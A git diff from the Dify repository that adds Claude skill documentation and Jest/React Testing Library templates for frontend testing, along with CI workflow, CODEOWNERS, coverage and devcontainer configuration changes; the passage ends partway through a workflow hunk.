+### 📏 Large Files (500+ lines)
+
+Regardless of complexity score:
+
+- **Strongly consider refactoring** before testing
+- If testing as-is, test major sections separately
+- Create helper functions for test setup
+- May need multiple test files
+
+## Todo List Format
+
+When testing multiple files, use a todo list like this:
+
+```
+Testing: path/to/directory/
+
+Ordered by complexity (simple → complex):
+
+☐ utils/helper.ts           [utility, simple]
+☐ hooks/use-custom-hook.ts  [hook, simple]
+☐ empty-state.tsx           [component, simple]
+☐ item-card.tsx             [component, medium]
+☐ list.tsx                  [component, complex]
+☐ index.tsx                 [integration]
+
+Progress: 0/6 complete
+```
+
+Update status as you complete each:
+
+- ☐ → ⏳ (in progress)
+- ⏳ → ✅ (complete and verified)
+- ⏳ → ❌ (blocked, needs attention)
+
+## When to Stop and Verify
+
+**Always run tests after:**
+
+- Completing a test file
+- Making changes to fix a failure
+- Modifying shared mocks
+- Updating test utilities or helpers
+
+**Signs you should pause:**
+
+- More than 2 consecutive test failures
+- Mock-related errors appearing
+- Unclear why a test is failing
+- Test passing but coverage unexpectedly low
+
+## Common Pitfalls to Avoid
+
+### ❌ Don't: Generate Everything First
+
+```
+# BAD: Writing all files then testing
+Write component-a.spec.tsx
+Write component-b.spec.tsx  
+Write component-c.spec.tsx
+Write component-d.spec.tsx
+Run pnpm test  ← Multiple failures, hard to debug
+```
+
+### ✅ Do: Verify Each Step
+
+```
+# GOOD: Incremental with verification
+Write component-a.spec.tsx
+Run pnpm test -- component-a.spec.tsx ✅
+Write component-b.spec.tsx
+Run pnpm test -- component-b.spec.tsx ✅
+...continue...
+```
+
+### ❌ Don't: Skip Verification for "Simple" Components
+
+Even simple components can have:
+
+- Import errors
+- Missing mock setup
+- Incorrect assumptions about props
+
+**Always verify, regardless of perceived simplicity.**
+
+### ❌ Don't: Continue When Tests Fail
+
+Failing tests compound:
+
+- A mock issue in file A affects files B, C, D
+- Fixing A later requires revisiting all dependent tests
+- Time wasted on debugging cascading failures
+
+**Fix failures immediately before proceeding.**
+
+## Integration with Claude's Todo Feature
+
+When using Claude for multi-file testing:
+
+1. **Ask Claude to create a todo list** before starting
+1. **Request one file at a time** or ensure Claude processes incrementally
+1. **Verify each test passes** before asking for the next
+1. **Mark todos complete** as you progress
+
+Example prompt:
+
+```
+Test all components in `path/to/directory/`.
+First, analyze the directory and create a todo list ordered by complexity.
+Then, process ONE file at a time, waiting for my confirmation that tests pass
+before proceeding to the next.
+```
+
+## Summary Checklist
+
+Before starting multi-file testing:
+
+- [ ] Listed all files needing tests
+- [ ] Ordered by complexity (simple → complex)
+- [ ] Created todo list for tracking
+- [ ] Understand dependencies between files
+
+During testing:
+
+- [ ] Processing ONE file at a time
+- [ ] Running tests after EACH file
+- [ ] Fixing failures BEFORE proceeding
+- [ ] Updating todo list progress
+
+After completion:
+
+- [ ] All individual tests pass
+- [ ] Full directory test run passes
+- [ ] Coverage goals met
+- [ ] Todo list shows all complete
diff --git a/.claude/skills/frontend-testing/templates/component-test.template.tsx b/.claude/skills/frontend-testing/templates/component-test.template.tsx
new file mode 100644
index 0000000000..f1ea71a3fd
--- /dev/null
+++ b/.claude/skills/frontend-testing/templates/component-test.template.tsx
@@ -0,0 +1,296 @@
+/**
+ * Test Template for React Components
+ *
+ * WHY THIS STRUCTURE?
+ * - Organized sections make tests easy to navigate and maintain
+ * - Mocks at top ensure consistent test isolation
+ * - Factory functions reduce duplication and improve readability
+ * - describe blocks group related scenarios for better debugging
+ *
+ * INSTRUCTIONS:
+ * 1. Replace `ComponentName` with your component name
+ * 2. Update import path
+ * 3. Add/remove test sections based on component features (use analyze-component)
+ * 4. Follow AAA pattern: Arrange → Act → Assert
+ *
+ * RUN FIRST: pnpm analyze-component <path> to identify required test scenarios
+ */
+
+import { render, screen, fireEvent, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+// import ComponentName from './index'
+
+// ============================================================================
+// Mocks
+// ============================================================================
+// WHY: Mocks must be hoisted to top of file (Jest requirement).
+// They run BEFORE imports, so keep them before component imports.
+
+// i18n (automatically mocked)
+// WHY: Shared mock at web/__mocks__/react-i18next.ts is auto-loaded by Jest
+// No explicit mock needed - it returns translation keys as-is
+// Override only if custom translations are required:
+// jest.mock('react-i18next', () => ({
+//   useTranslation: () => ({
+//     t: (key: string) => {
+//       const customTranslations: Record<string, string> = {
+//         'my.custom.key': 'Custom Translation',
+//       }
+//       return customTranslations[key] || key
+//     },
+//   }),
+// }))
+
+// Router (if component uses useRouter, usePathname, useSearchParams)
+// WHY: Isolates tests from Next.js routing, enables testing navigation behavior
+// const mockPush = jest.fn()
+// jest.mock('next/navigation', () => ({
+//   useRouter: () => ({ push: mockPush }),
+//   usePathname: () => '/test-path',
+// }))
+
+// API services (if component fetches data)
+// WHY: Prevents real network calls, enables testing all states (loading/success/error)
+// jest.mock('@/service/api')
+// import * as api from '@/service/api'
+// const mockedApi = api as jest.Mocked<typeof api>
+
+// Shared mock state (for portal/dropdown components)
+// WHY: Portal components like PortalToFollowElem need shared state between
+// parent and child mocks to correctly simulate open/close behavior
+// let mockOpenState = false
+
+// ============================================================================
+// Test Data Factories
+// ============================================================================
+// WHY FACTORIES?
+// - Avoid hard-coded test data scattered across tests
+// - Easy to create variations with overrides
+// - Type-safe when using actual types from source
+// - Single source of truth for default test values
+
+// const createMockProps = (overrides = {}) => ({
+//   // Default props that make component render successfully
+//   ...overrides,
+// })
+
+// const createMockItem = (overrides = {}) => ({
+//   id: 'item-1',
+//   name: 'Test Item',
+//   ...overrides,
+// })
+
+// ============================================================================
+// Test Helpers
+// ============================================================================
+
+// const renderComponent = (props = {}) => {
+//   return render(<ComponentName {...createMockProps(props)} />)
+// }
+
+// ============================================================================
+// Tests
+// ============================================================================
+
+describe('ComponentName', () => {
+  // WHY beforeEach with clearAllMocks?
+  // - Ensures each test starts with clean slate
+  // - Prevents mock call history from leaking between tests
+  // - MUST be beforeEach (not afterEach) to reset BEFORE assertions like toHaveBeenCalledTimes
+  beforeEach(() => {
+    jest.clearAllMocks()
+    // Reset shared mock state if used (CRITICAL for portal/dropdown tests)
+    // mockOpenState = false
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests (REQUIRED - Every component MUST have these)
+  // --------------------------------------------------------------------------
+  // WHY: Catches import errors, missing providers, and basic render issues
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange - Setup data and mocks
+      // const props = createMockProps()
+
+      // Act - Render the component
+      // render(<ComponentName {...props} />)
+
+      // Assert - Verify expected output
+      // Prefer getByRole for accessibility; it's what users "see"
+      // expect(screen.getByRole('...')).toBeInTheDocument()
+    })
+
+    it('should render with default props', () => {
+      // WHY: Verifies component works without optional props
+      // render(<ComponentName />)
+      // expect(screen.getByText('...')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Props Tests (REQUIRED - Every component MUST test prop behavior)
+  // --------------------------------------------------------------------------
+  // WHY: Props are the component's API contract. Test them thoroughly.
+  describe('Props', () => {
+    it('should apply custom className', () => {
+      // WHY: Common pattern in Dify - components should merge custom classes
+      // render(<ComponentName className="custom-class" />)
+      // expect(screen.getByTestId('component')).toHaveClass('custom-class')
+    })
+
+    it('should use default values for optional props', () => {
+      // WHY: Verifies TypeScript defaults work at runtime
+      // render(<ComponentName />)
+      // expect(screen.getByRole('...')).toHaveAttribute('...', 'default-value')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // User Interactions (if component has event handlers - on*, handle*)
+  // --------------------------------------------------------------------------
+  // WHY: Event handlers are core functionality. Test from user's perspective.
+  describe('User Interactions', () => {
+    it('should call onClick when clicked', async () => {
+      // WHY userEvent over fireEvent?
+      // - userEvent simulates real user behavior (focus, hover, then click)
+      // - fireEvent is lower-level, doesn't trigger all browser events
+      // const user = userEvent.setup()
+      // const handleClick = jest.fn()
+      // render(<ComponentName onClick={handleClick} />)
+      //
+      // await user.click(screen.getByRole('button'))
+      //
+      // expect(handleClick).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onChange when value changes', async () => {
+      // const user = userEvent.setup()
+      // const handleChange = jest.fn()
+      // render(<ComponentName onChange={handleChange} />)
+      //
+      // await user.type(screen.getByRole('textbox'), 'new value')
+      //
+      // expect(handleChange).toHaveBeenCalled()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // State Management (if component uses useState/useReducer)
+  // --------------------------------------------------------------------------
+  // WHY: Test state through observable UI changes, not internal state values
+  describe('State Management', () => {
+    it('should update state on interaction', async () => {
+      // WHY test via UI, not state?
+      // - State is implementation detail; UI is what users see
+      // - If UI works correctly, state must be correct
+      // const user = userEvent.setup()
+      // render(<ComponentName />)
+      //
+      // // Initial state - verify what user sees
+      // expect(screen.getByText('Initial')).toBeInTheDocument()
+      //
+      // // Trigger state change via user action
+      // await user.click(screen.getByRole('button'))
+      //
+      // // New state - verify UI updated
+      // expect(screen.getByText('Updated')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Async Operations (if component fetches data - useSWR, useQuery, fetch)
+  // --------------------------------------------------------------------------
+  // WHY: Async operations have 3 states users experience: loading, success, error
+  describe('Async Operations', () => {
+    it('should show loading state', () => {
+      // WHY never-resolving promise?
+      // - Keeps component in loading state for assertion
+      // - Alternative: use fake timers
+      // mockedApi.fetchData.mockImplementation(() => new Promise(() => {}))
+      // render(<ComponentName />)
+      //
+      // expect(screen.getByText(/loading/i)).toBeInTheDocument()
+    })
+
+    it('should show data on success', async () => {
+      // WHY waitFor?
+      // - Component updates asynchronously after fetch resolves
+      // - waitFor retries assertion until it passes or times out
+      // mockedApi.fetchData.mockResolvedValue({ items: ['Item 1'] })
+      // render(<ComponentName />)
+      //
+      // await waitFor(() => {
+      //   expect(screen.getByText('Item 1')).toBeInTheDocument()
+      // })
+    })
+
+    it('should show error on failure', async () => {
+      // mockedApi.fetchData.mockRejectedValue(new Error('Network error'))
+      // render(<ComponentName />)
+      //
+      // await waitFor(() => {
+      //   expect(screen.getByText(/error/i)).toBeInTheDocument()
+      // })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases (REQUIRED - Every component MUST handle edge cases)
+  // --------------------------------------------------------------------------
+  // WHY: Real-world data is messy. Components must handle:
+  // - Null/undefined from API failures or optional fields
+  // - Empty arrays/strings from user clearing data
+  // - Boundary values (0, MAX_INT, special characters)
+  describe('Edge Cases', () => {
+    it('should handle null value', () => {
+      // WHY test null specifically?
+      // - API might return null for missing data
+      // - Prevents "Cannot read property of null" in production
+      // render(<ComponentName value={null} />)
+      // expect(screen.getByText(/no data/i)).toBeInTheDocument()
+    })
+
+    it('should handle undefined value', () => {
+      // WHY test undefined separately from null?
+      // - TypeScript treats them differently
+      // - Optional props are undefined, not null
+      // render(<ComponentName value={undefined} />)
+      // expect(screen.getByText(/no data/i)).toBeInTheDocument()
+    })
+
+    it('should handle empty array', () => {
+      // WHY: Empty state often needs special UI (e.g., "No items yet")
+      // render(<ComponentName items={[]} />)
+      // expect(screen.getByText(/empty/i)).toBeInTheDocument()
+    })
+
+    it('should handle empty string', () => {
+      // WHY: Empty strings are truthy in JS but visually empty
+      // render(<ComponentName text="" />)
+      // expect(screen.getByText(/placeholder/i)).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Accessibility (optional but recommended for Dify's enterprise users)
+  // --------------------------------------------------------------------------
+  // WHY: Dify has enterprise customers who may require accessibility compliance
+  describe('Accessibility', () => {
+    it('should have accessible name', () => {
+      // WHY getByRole with name?
+      // - Tests that screen readers can identify the element
+      // - Enforces proper labeling practices
+      // render(<ComponentName label="Test Label" />)
+      // expect(screen.getByRole('button', { name: /test label/i })).toBeInTheDocument()
+    })
+
+    it('should support keyboard navigation', async () => {
+      // WHY: Some users can't use a mouse
+      // const user = userEvent.setup()
+      // render(<ComponentName />)
+      //
+      // await user.tab()
+      // expect(screen.getByRole('button')).toHaveFocus()
+    })
+  })
+})
diff --git a/.claude/skills/frontend-testing/templates/hook-test.template.ts b/.claude/skills/frontend-testing/templates/hook-test.template.ts
new file mode 100644
index 0000000000..4fb7fd21ec
--- /dev/null
+++ b/.claude/skills/frontend-testing/templates/hook-test.template.ts
@@ -0,0 +1,207 @@
+/**
+ * Test Template for Custom Hooks
+ *
+ * Instructions:
+ * 1. Replace `useHookName` with your hook name
+ * 2. Update import path
+ * 3. Add/remove test sections based on hook features
+ */
+
+import { renderHook, act, waitFor } from '@testing-library/react'
+// import { useHookName } from './use-hook-name'
+
+// ============================================================================
+// Mocks
+// ============================================================================
+
+// API services (if hook fetches data)
+// jest.mock('@/service/api')
+// import * as api from '@/service/api'
+// const mockedApi = api as jest.Mocked<typeof api>
+
+// ============================================================================
+// Test Helpers
+// ============================================================================
+
+// Wrapper for hooks that need context
+// const createWrapper = (contextValue = {}) => {
+//   return ({ children }: { children: React.ReactNode }) => (
+//     <SomeContext.Provider value={contextValue}>
+//       {children}
+//     </SomeContext.Provider>
+//   )
+// }
+
+// ============================================================================
+// Tests
+// ============================================================================
+
+describe('useHookName', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // --------------------------------------------------------------------------
+  // Initial State
+  // --------------------------------------------------------------------------
+  describe('Initial State', () => {
+    it('should return initial state', () => {
+      // const { result } = renderHook(() => useHookName())
+      //
+      // expect(result.current.value).toBe(initialValue)
+      // expect(result.current.isLoading).toBe(false)
+    })
+
+    it('should accept initial value from props', () => {
+      // const { result } = renderHook(() => useHookName({ initialValue: 'custom' }))
+      //
+      // expect(result.current.value).toBe('custom')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // State Updates
+  // --------------------------------------------------------------------------
+  describe('State Updates', () => {
+    it('should update value when setValue is called', () => {
+      // const { result } = renderHook(() => useHookName())
+      //
+      // act(() => {
+      //   result.current.setValue('new value')
+      // })
+      //
+      // expect(result.current.value).toBe('new value')
+    })
+
+    it('should reset to initial value', () => {
+      // const { result } = renderHook(() => useHookName({ initialValue: 'initial' }))
+      //
+      // act(() => {
+      //   result.current.setValue('changed')
+      // })
+      // expect(result.current.value).toBe('changed')
+      //
+      // act(() => {
+      //   result.current.reset()
+      // })
+      // expect(result.current.value).toBe('initial')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Async Operations
+  // --------------------------------------------------------------------------
+  describe('Async Operations', () => {
+    it('should fetch data on mount', async () => {
+      // mockedApi.fetchData.mockResolvedValue({ data: 'test' })
+      //
+      // const { result } = renderHook(() => useHookName())
+      //
+      // // Initially loading
+      // expect(result.current.isLoading).toBe(true)
+      //
+      // // Wait for data
+      // await waitFor(() => {
+      //   expect(result.current.isLoading).toBe(false)
+      // })
+      //
+      // expect(result.current.data).toEqual({ data: 'test' })
+    })
+
+    it('should handle fetch error', async () => {
+      // mockedApi.fetchData.mockRejectedValue(new Error('Network error'))
+      //
+      // const { result } = renderHook(() => useHookName())
+      //
+      // await waitFor(() => {
+      //   expect(result.current.error).toBeTruthy()
+      // })
+      //
+      // expect(result.current.error?.message).toBe('Network error')
+    })
+
+    it('should refetch when dependency changes', async () => {
+      // mockedApi.fetchData.mockResolvedValue({ data: 'test' })
+      //
+      // const { result, rerender } = renderHook(
+      //   ({ id }) => useHookName(id),
+      //   { initialProps: { id: '1' } }
+      // )
+      //
+      // await waitFor(() => {
+      //   expect(mockedApi.fetchData).toHaveBeenCalledWith('1')
+      // })
+      //
+      // rerender({ id: '2' })
+      //
+      // await waitFor(() => {
+      //   expect(mockedApi.fetchData).toHaveBeenCalledWith('2')
+      // })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Side Effects
+  // --------------------------------------------------------------------------
+  describe('Side Effects', () => {
+    it('should call callback when value changes', () => {
+      // const callback = jest.fn()
+      // const { result } = renderHook(() => useHookName({ onChange: callback }))
+      //
+      // act(() => {
+      //   result.current.setValue('new value')
+      // })
+      //
+      // expect(callback).toHaveBeenCalledWith('new value')
+    })
+
+    it('should cleanup on unmount', () => {
+      // const cleanup = jest.fn()
+      // jest.spyOn(window, 'addEventListener')
+      // jest.spyOn(window, 'removeEventListener')
+      //
+      // const { unmount } = renderHook(() => useHookName())
+      //
+      // expect(window.addEventListener).toHaveBeenCalled()
+      //
+      // unmount()
+      //
+      // expect(window.removeEventListener).toHaveBeenCalled()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle null input', () => {
+      // const { result } = renderHook(() => useHookName(null))
+      //
+      // expect(result.current.value).toBeNull()
+    })
+
+    it('should handle rapid updates', () => {
+      // const { result } = renderHook(() => useHookName())
+      //
+      // act(() => {
+      //   result.current.setValue('1')
+      //   result.current.setValue('2')
+      //   result.current.setValue('3')
+      // })
+      //
+      // expect(result.current.value).toBe('3')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // With Context (if hook uses context)
+  // --------------------------------------------------------------------------
+  describe('With Context', () => {
+    it('should use context value', () => {
+      // const wrapper = createWrapper({ someValue: 'context-value' })
+      // const { result } = renderHook(() => useHookName(), { wrapper })
+      //
+      // expect(result.current.contextValue).toBe('context-value')
+    })
+  })
+})
diff --git a/.claude/skills/frontend-testing/templates/utility-test.template.ts b/.claude/skills/frontend-testing/templates/utility-test.template.ts
new file mode 100644
index 0000000000..ec13b5f5bd
--- /dev/null
+++ b/.claude/skills/frontend-testing/templates/utility-test.template.ts
@@ -0,0 +1,154 @@
+/**
+ * Test Template for Utility Functions
+ *
+ * Instructions:
+ * 1. Replace `utilityFunction` with your function name
+ * 2. Update import path
+ * 3. Use test.each for data-driven tests
+ */
+
+// import { utilityFunction } from './utility'
+
+// ============================================================================
+// Tests
+// ============================================================================
+
+describe('utilityFunction', () => {
+  // --------------------------------------------------------------------------
+  // Basic Functionality
+  // --------------------------------------------------------------------------
+  describe('Basic Functionality', () => {
+    it('should return expected result for valid input', () => {
+      // expect(utilityFunction('input')).toBe('expected-output')
+    })
+
+    it('should handle multiple arguments', () => {
+      // expect(utilityFunction('a', 'b', 'c')).toBe('abc')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Data-Driven Tests
+  // --------------------------------------------------------------------------
+  describe('Input/Output Mapping', () => {
+    test.each([
+      // [input, expected]
+      ['input1', 'output1'],
+      ['input2', 'output2'],
+      ['input3', 'output3'],
+    ])('should return %s for input %s', (input, expected) => {
+      // expect(utilityFunction(input)).toBe(expected)
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle empty string', () => {
+      // expect(utilityFunction('')).toBe('')
+    })
+
+    it('should handle null', () => {
+      // expect(utilityFunction(null)).toBe(null)
+      // or
+      // expect(() => utilityFunction(null)).toThrow()
+    })
+
+    it('should handle undefined', () => {
+      // expect(utilityFunction(undefined)).toBe(undefined)
+      // or
+      // expect(() => utilityFunction(undefined)).toThrow()
+    })
+
+    it('should handle empty array', () => {
+      // expect(utilityFunction([])).toEqual([])
+    })
+
+    it('should handle empty object', () => {
+      // expect(utilityFunction({})).toEqual({})
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Boundary Conditions
+  // --------------------------------------------------------------------------
+  describe('Boundary Conditions', () => {
+    it('should handle minimum value', () => {
+      // expect(utilityFunction(0)).toBe(0)
+    })
+
+    it('should handle maximum value', () => {
+      // expect(utilityFunction(Number.MAX_SAFE_INTEGER)).toBe(...)
+    })
+
+    it('should handle negative numbers', () => {
+      // expect(utilityFunction(-1)).toBe(...)
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Type Coercion (if applicable)
+  // --------------------------------------------------------------------------
+  describe('Type Handling', () => {
+    it('should handle numeric string', () => {
+      // expect(utilityFunction('123')).toBe(123)
+    })
+
+    it('should handle boolean', () => {
+      // expect(utilityFunction(true)).toBe(...)
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Error Cases
+  // --------------------------------------------------------------------------
+  describe('Error Handling', () => {
+    it('should throw for invalid input', () => {
+      // expect(() => utilityFunction('invalid')).toThrow('Error message')
+    })
+
+    it('should throw with specific error type', () => {
+      // expect(() => utilityFunction('invalid')).toThrow(ValidationError)
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Complex Objects (if applicable)
+  // --------------------------------------------------------------------------
+  describe('Object Handling', () => {
+    it('should preserve object structure', () => {
+      // const input = { a: 1, b: 2 }
+      // expect(utilityFunction(input)).toEqual({ a: 1, b: 2 })
+    })
+
+    it('should handle nested objects', () => {
+      // const input = { nested: { deep: 'value' } }
+      // expect(utilityFunction(input)).toEqual({ nested: { deep: 'transformed' } })
+    })
+
+    it('should not mutate input', () => {
+      // const input = { a: 1 }
+      // const inputCopy = { ...input }
+      // utilityFunction(input)
+      // expect(input).toEqual(inputCopy)
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Array Handling (if applicable)
+  // --------------------------------------------------------------------------
+  describe('Array Handling', () => {
+    it('should process all elements', () => {
+      // expect(utilityFunction([1, 2, 3])).toEqual([2, 4, 6])
+    })
+
+    it('should handle single element array', () => {
+      // expect(utilityFunction([1])).toEqual([2])
+    })
+
+    it('should preserve order', () => {
+      // expect(utilityFunction(['c', 'a', 'b'])).toEqual(['c', 'a', 'b'])
+    })
+  })
+})
diff --git a/.coveragerc b/.coveragerc
new file mode 100644
index 0000000000..190c0c185b
--- /dev/null
+++ b/.coveragerc
@@ -0,0 +1,5 @@
+[run]
+omit =
+    api/tests/*
+    api/migrations/*
+    api/core/rag/datasource/vdb/*
diff --git a/.devcontainer/post_create_command.sh b/.devcontainer/post_create_command.sh
index a26fd076ed..ce9135476f 100755
--- a/.devcontainer/post_create_command.sh
+++ b/.devcontainer/post_create_command.sh
@@ -6,7 +6,7 @@ cd web && pnpm install
 pipx install uv
 
 echo "alias start-api=\"cd $WORKSPACE_ROOT/api && uv run python -m flask run --host 0.0.0.0 --port=5001 --debug\"" >> ~/.bashrc
-echo "alias start-worker=\"cd $WORKSPACE_ROOT/api && uv run python -m celery -A app.celery worker -P threads -c 1 --loglevel INFO -Q dataset,priority_dataset,priority_pipeline,pipeline,mail,ops_trace,app_deletion,plugin,workflow_storage,conversation,workflow,schedule_poller,schedule_executor,triggered_workflow_dispatcher,trigger_refresh_executor\"" >> ~/.bashrc
+echo "alias start-worker=\"cd $WORKSPACE_ROOT/api && uv run python -m celery -A app.celery worker -P threads -c 1 --loglevel INFO -Q dataset,priority_dataset,priority_pipeline,pipeline,mail,ops_trace,app_deletion,plugin,workflow_storage,conversation,workflow,schedule_poller,schedule_executor,triggered_workflow_dispatcher,trigger_refresh_executor,retention\"" >> ~/.bashrc
 echo "alias start-web=\"cd $WORKSPACE_ROOT/web && pnpm dev\"" >> ~/.bashrc
 echo "alias start-web-prod=\"cd $WORKSPACE_ROOT/web && pnpm build && pnpm start\"" >> ~/.bashrc
 echo "alias start-containers=\"cd $WORKSPACE_ROOT/docker && docker-compose -f docker-compose.middleware.yaml -p dify --env-file middleware.env up -d\"" >> ~/.bashrc
diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS
index d6f326d4dc..06a60308c2 100644
--- a/.github/CODEOWNERS
+++ b/.github/CODEOWNERS
@@ -6,6 +6,12 @@
 
 * @crazywoola @laipz8200 @Yeuoly
 
+# CODEOWNERS file
+.github/CODEOWNERS @laipz8200 @crazywoola
+
+# Docs
+docs/ @crazywoola
+
 # Backend (default owner, more specific rules below will override)
 api/ @QuantumGhost
 
@@ -116,7 +122,7 @@ api/controllers/console/feature.py @GarfieldDai @GareArc
 api/controllers/web/feature.py @GarfieldDai @GareArc
 
 # Backend - Database Migrations
-api/migrations/ @snakevash @laipz8200
+api/migrations/ @snakevash @laipz8200 @MRZHUH
 
 # Frontend
 web/ @iamjoel
diff --git a/.github/copilot-instructions.md b/.github/copilot-instructions.md
deleted file mode 100644
index 53afcbda1e..0000000000
--- a/.github/copilot-instructions.md
+++ /dev/null
@@ -1,12 +0,0 @@
-# Copilot Instructions
-
-GitHub Copilot must follow the unified frontend testing requirements documented in `web/testing/testing.md`.
-
-Key reminders:
-
-- Generate tests using the mandated tech stack, naming, and code style (AAA pattern, `fireEvent`, descriptive test names, cleans up mocks).
-- Cover rendering, prop combinations, and edge cases by default; extend coverage for hooks, routing, async flows, and domain-specific components when applicable.
-- Target >95% line and branch coverage and 100% function/statement coverage.
-- Apply the project's mocking conventions for i18n, toast notifications, and Next.js utilities.
-
-Any suggestions from Copilot that conflict with `web/testing/testing.md` should be revised before acceptance.
diff --git a/.github/workflows/api-tests.yml b/.github/workflows/api-tests.yml
index 557d747a8c..76cbf64fca 100644
--- a/.github/workflows/api-tests.yml
+++ b/.github/workflows/api-tests.yml
@@ -71,18 +71,18 @@ jobs:
         run: |
           cp api/tests/integration_tests/.env.example api/tests/integration_tests/.env
 
-      - name: Run Workflow
-        run: uv run --project api bash dev/pytest/pytest_workflow.sh
-
-      - name: Run Tool
-        run: uv run --project api bash dev/pytest/pytest_tools.sh
-
-      - name: Run TestContainers
-        run: uv run --project api bash dev/pytest/pytest_testcontainers.sh
-
-      - name: Run Unit tests
+      - name: Run API Tests
+        env:
+          STORAGE_TYPE: opendal
+          OPENDAL_SCHEME: fs
+          OPENDAL_FS_ROOT: /tmp/dify-storage
         run: |
-          uv run --project api bash dev/pytest/pytest_unit_tests.sh
+          uv run --project api pytest \
+            --timeout "${PYTEST_TIMEOUT:-180}" \
+            api/tests/integration_tests/workflow \
+            api/tests/integration_tests/tools \
+            api/tests/test_containers_integration_tests \
+            api/tests/unit_tests
 
       - name: Coverage Summary
         run: |
@@ -93,5 +93,12 @@ jobs:
           # Create a detailed coverage summary
           echo "### Test Coverage Summary :test_tube:" >> $GITHUB_STEP_SUMMARY
           echo "Total Coverage: ${TOTAL_COVERAGE}%" >> $GITHUB_STEP_SUMMARY
-          uv run --project api coverage report --format=markdown >> $GITHUB_STEP_SUMMARY
-
+          {
+            echo ""
+            echo "<details><summary>File-level coverage (click to expand)</summary>"
+            echo ""
+            echo '```'
+            uv run --project api coverage report -m
+            echo '```'
+            echo "</details>"
+          } >> $GITHUB_STEP_SUMMARY
diff --git a/.github/workflows/autofix.yml b/.github/workflows/autofix.yml
index 81392a9734..2f457d0a0a 100644
--- a/.github/workflows/autofix.yml
+++ b/.github/workflows/autofix.yml
@@ -13,11 +13,12 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
-
-      # Use uv to ensure we have the same ruff version in CI and locally.
-      - uses: astral-sh/setup-uv@v6
+      - uses: actions/setup-python@v5
         with:
           python-version: "3.11"
+
+      - uses: astral-sh/setup-uv@v6
+
       - run: |
           cd api
           uv sync --dev
@@ -35,10 +36,11 @@ jobs:
 
       - name: ast-grep
         run: |
-          uvx --from ast-grep-cli sg --pattern 'db.session.query($WHATEVER).filter($HERE)' --rewrite 'db.session.query($WHATEVER).where($HERE)' -l py --update-all
-          uvx --from ast-grep-cli sg --pattern 'session.query($WHATEVER).filter($HERE)' --rewrite 'session.query($WHATEVER).where($HERE)' -l py --update-all
-          uvx --from ast-grep-cli sg -p '$A = db.Column($$$B)' -r '$A = mapped_column($$$B)' -l py --update-all
-          uvx --from ast-grep-cli sg -p '$A : $T = db.Column($$$B)' -r '$A : $T = mapped_column($$$B)' -l py --update-all
+          # ast-grep exits 1 if no matches are found; allow idempotent runs.
+          uvx --from ast-grep-cli ast-grep --pattern 'db.session.query($WHATEVER).filter($HERE)' --rewrite 'db.session.query($WHATEVER).where($HERE)' -l py --update-all || true
+          uvx --from ast-grep-cli ast-grep --pattern 'session.query($WHATEVER).filter($HERE)' --rewrite 'session.query($WHATEVER).where($HERE)' -l py --update-all || true
+          uvx --from ast-grep-cli ast-grep -p '$A = db.Column($$$B)' -r '$A = mapped_column($$$B)' -l py --update-all || true
+          uvx --from ast-grep-cli ast-grep -p '$A : $T = db.Column($$$B)' -r '$A : $T = mapped_column($$$B)' -l py --update-all || true
           # Convert Optional[T] to T | None (ignoring quoted types)
           cat > /tmp/optional-rule.yml << 'EOF'
           id: convert-optional-to-union
@@ -56,14 +58,15 @@ jobs:
                     pattern: $T
           fix: $T | None
           EOF
-          uvx --from ast-grep-cli sg scan --inline-rules "$(cat /tmp/optional-rule.yml)" --update-all
+          uvx --from ast-grep-cli ast-grep scan . --inline-rules "$(cat /tmp/optional-rule.yml)" --update-all
           # Fix forward references that were incorrectly converted (Python doesn't support "Type" | None syntax)
           find . -name "*.py" -type f -exec sed -i.bak -E 's/"([^"]+)" \| None/Optional["\1"]/g; s/'"'"'([^'"'"']+)'"'"' \| None/Optional['"'"'\1'"'"']/g' {} \;
           find . -name "*.py.bak" -type f -delete
 
+      # mdformat breaks YAML front matter in markdown files. Add --exclude for directories containing YAML front matter.
       - name: mdformat
         run: |
-          uvx mdformat .
+          uvx --python 3.13 mdformat . --exclude ".claude/skills/**"
 
       - name: Install pnpm
         uses: pnpm/action-setup@v4
@@ -76,7 +79,7 @@ jobs:
         with:
           node-version: 22
           cache: pnpm
-          cache-dependency-path: ./web/package.json
+          cache-dependency-path: ./web/pnpm-lock.yaml
 
       - name: Web dependencies
         working-directory: ./web
@@ -84,7 +87,6 @@ jobs:
 
       - name: oxlint
         working-directory: ./web
-        run: |
-          pnpx oxlint --fix
+        run: pnpm exec oxlint --config .oxlintrc.json --fix .
 
       - uses: autofix-ci/action@635ffb0c9798bd160680f18fd73371e355b85f27
diff --git a/.github/workflows/style.yml b/.github/workflows/style.yml
index 5a8a34be79..2fb8121f74 100644
--- a/.github/workflows/style.yml
+++ b/.github/workflows/style.yml
@@ -90,7 +90,7 @@ jobs:
         with:
           node-version: 22
           cache: pnpm
-          cache-dependency-path: ./web/package.json
